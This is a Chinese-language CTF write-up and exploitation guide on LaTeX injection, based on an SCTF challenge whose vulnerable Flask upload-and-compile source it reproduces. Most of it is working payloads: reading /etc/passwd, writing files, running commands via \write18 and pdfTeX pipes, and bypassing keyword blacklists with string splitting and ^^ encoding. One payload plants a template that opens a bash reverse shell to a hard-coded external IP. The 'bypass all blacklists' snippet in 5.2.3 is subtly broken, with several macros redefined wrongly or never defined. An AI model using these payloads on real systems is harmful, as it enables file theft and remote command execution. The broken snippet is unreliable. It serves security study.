由SCTF引入的LaTex Injection
字数 1371 2025-08-22 12:22:48
LaTeX Injection 安全漏洞研究与利用指南
1. LaTeX 安全背景
LaTeX 是一种基于 TeX 的排版系统,广泛用于学术论文和技术文档的编写。LaTeX 文件后缀为 .tex,需要编译运行。由于其可以像编程语言一样执行命令、读写文件等特性,存在安全隐患。
1.1 安全配置选项
LaTeX 提供了以下安全配置项:
-
shell_escape:控制是否允许执行命令
f:不允许执行任何命令t:允许执行任何命令p:支持执行白名单内的命令(默认)
-
shell_escape_commands:定义允许执行的命令白名单
2. LaTeX Injection 攻击面
LaTeX 常用于以下场景:
- 扫描数学公式
- LaTeX 转 PDF
- LaTeX 转图片
- 文档编写和页面排版
当用户输入的 LaTeX 代码可控且未经过滤时,可能导致 LaTeX Injection 漏洞。
3. 基本攻击技术
3.1 文件读取技术
3.1.1 使用 \input 命令
\input{/etc/passwd}
读取 /etc/passwd 文件并写入生成的 PDF 中。
3.1.2 使用 \include 命令(针对 .tex 文件)
\include{password}
从当前工作目录包含 password.tex 文件。
3.1.3 逐行读取文件
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file
读取文件首行。
3.1.4 读取整个文件
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
3.1.5 使用 verbatim 包读取原始内容
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
3.2 文件写入技术
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{hello-world}
\closeout\outfile
在 cmd.tex 文件中写入 hello-world 字符串。
3.3 命令执行技术
3.3.1 基本命令执行
\immediate\write18{env}
执行 env 命令获取环境变量。
3.3.2 重定向输出到文件
\immediate\write18{env > env.tex}
\input{env.tex}
3.3.3 使用 base64 编码
\immediate\write18{env | base64 > text.tex}
\input{text.tex}
3.3.4 PdfTeX 特有执行方式
\input|"ls"
\input|ls
\input|ls|base64
\makeatletter
\@@input|"ls"
\makeatother
4. 绕过技术
4.1 命令拼接绕过
当 \input, \include, \write18, \immediate 被禁用时:
\def \imm {\string\imme}
\def \diate {diate}
\def \eighteen {string18}
\def \wwrite {\string\write\eighteen}
\def \args {\string{ls | base64 > test.tex\string}}
\def \inp {\string\in}
\def \iput {put}
\def \cmd {\string{text.tex\string}}
% 第一次运行写入命令
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile
% 第二次运行执行命令
\newread\file
\openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file
4.2 ASCII 编码绕过
使用 ^^ 前缀进行 ASCII 编码:
\documentclass{article}
\begin{document}
\newread\infile
\openin\infile=main.py
\imm^^65diate\newwrite\outfile
\imm^^65diate\openout\outfile=a^^70p.l^^6fg
\loop\unless\ifeof\infile
\imm^^65diate\read\infile to\line
\imm^^65diate\write\outfile{\line}
\repeat
\closeout\outfile
\closein\infile
\newpage
foo
\end{document}
5. 实际案例分析(SCTF LaTeX)
5.1 限制条件
- 禁用关键字:
\write18,\immediate,\input,app/,include,.. - 编译文件名长度 ≤ 6
5.2 有效载荷
5.2.1 读取文件
\newread\file
\openin\file=\\etc\\passwd
\read\file to\line
\text{\line}
\closein\file
5.2.2 写入文件
\newwrite\outfile
\openout\outfile=testfile
\write\outfile{safe6}
\closeout\outfile
5.2.3 绕过所有黑名单
\def \imm {\string\imme}
\def \diate {diate}
\def \wwrite {wwrite}
\def \args {args}
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{\imm\diate\wwrite\args}
\write\outfile{\inp\iput\cmd}
\closeout\outfile
\newread\file
\openin\file=cmd.tex
\loop\unless\ifeof\file
\read\file to\fileline
\fileline
\repeat
\closein\file
5.3 服务器端代码分析
import os
import logging
import subprocess
from flask import Flask, request, render_template, redirect
from werkzeug.utils import secure_filename
app = Flask(__name__)
if not app.debug:
handler = logging.FileHandler('app.log')
handler.setLevel(logging.INFO)
app.logger.addHandler(handler)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
ALLOWED_EXTENSIONS = {'txt', 'png', 'jpg', 'gif', 'log', 'tex'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
def compile_tex(file_path):
output_filename = file_path.rsplit('.', 1)[0] + '.pdf'
try:
subprocess.check_call(['pdflatex', file_path])
return output_filename
except subprocess.CalledProcessError as e:
return str(e)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return redirect(request.url)
if file and allowed_file(file.filename):
content = file.read()
try:
content_str = content.decode('utf-8')
except UnicodeDecodeError:
return 'File content is not decodable'
for bad_char in ['\\x', '..', '*', '/', 'input', 'include', 'write18', 'immediate', 'app', 'flag']:
if bad_char in content_str:
return 'File content is not safe'
file.seek(0)
filename = secure_filename(file.filename)
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(file_path)
return 'File uploaded successfully, And you can compile the tex file'
else:
return 'Invalid file type or name'
@app.route('/compile', methods=['GET'])
def compile():
filename = request.args.get('filename')
if not filename:
return 'No filename provided', 400
if len(filename) >= 7:
return 'Invalid file name length', 400
if not filename.endswith('.tex'):
return 'Invalid file type', 400
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
print(file_path)
if not os.path.isfile(file_path):
return 'File not found', 404
output_pdf = compile_tex(file_path)
if output_pdf.endswith('.pdf'):
return "Compilation succeeded"
else:
return 'Compilation failed', 500
@app.route('/log')
def log():
try:
with open('app.log', 'r') as log_file:
log_contents = log_file.read()
return render_template('log.html', log_contents=log_contents)
except FileNotFoundError:
return 'Log file not found', 404
if __name__ == '__main__':
app.run(host='0.0.0.0', port=3000, debug=False)
5.4 利用 SSTI 反弹 Shell
\documentclass[]{article}
\begin{document}
\newwrite\t
\openout\t=templates^^2flog.html
\write\t{{{ lipsum.__globals__['os'].popen('bash -c "^^2fbin^^2fsh -i >& ^^2fdev^^2ftcp^^2f115.236.153.177^^2f30908 0>&1"').read() }}}
\closeout\t
\newpage
foo
\end{document}
6. 防御措施
- 输入过滤:严格过滤用户输入的 LaTeX 代码,特别是特殊字符和命令
- 安全配置:设置
shell_escape=f禁用命令执行 - 沙箱环境:在隔离环境中编译用户提供的 LaTeX 代码
- 文件权限:限制 LaTeX 进程的文件系统访问权限
- 日志监控:监控异常编译行为和文件访问
- 文件名限制:避免使用用户提供的文件名直接操作文件系统
7. 总结
LaTeX Injection 是一种严重的安全漏洞,攻击者可以利用它执行任意命令、读取敏感文件和写入恶意内容。防御此类攻击需要多层次的防护措施,包括输入验证、安全配置和环境隔离。开发人员在使用 LaTeX 处理用户输入时应格外小心,遵循最小权限原则和安全编码实践。